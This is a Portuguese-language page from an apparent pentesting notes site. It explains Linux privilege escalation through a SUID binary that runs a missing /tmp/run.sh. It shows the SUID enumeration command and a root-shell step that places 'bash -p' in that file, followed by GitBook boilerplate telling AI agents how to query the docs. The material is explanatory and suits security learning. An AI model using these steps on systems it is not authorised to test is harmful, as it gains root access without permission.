> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/suid/suid-missing-file-linux-privilege-escalation.md).

# SUID - Arquivo ausente - Escalada de privilégios no Linux

## O que é

Binários SUID são executados com os privilégios de seu proprietário, geralmente root. Um binário SUID vulnerável, desatualizado ou excessivamente flexível pode ler arquivos protegidos, abrir uma shell privilegiada ou executar código controlado pelo atacante. Esta página específica foca em **Binário SUID (Arquivo ausente)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Exemplos

#### Verificação de escalada de privilégios para arquivos com permissões SUID:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/ec799a2ad22729b173d0a8e74accfd966279be4e" alt=""><figcaption></figcaption></figure>

Execute um binário procurando por um arquivo "run.sh" no diretório /tmp sem um caminho específico.

<figure><img src="/files/206d1d20a10a7f46fe393a8212b17a040b087fb4" alt=""><figcaption></figcaption></figure>

#### Crie o arquivo "run.sh" em /tmp com o seguinte conteúdo para obter um shell de root:

```bash
bash -p
```

<figure><img src="/files/1804c5a6664ad87317d102d05c140164c5200623" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/suid/suid-missing-file-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
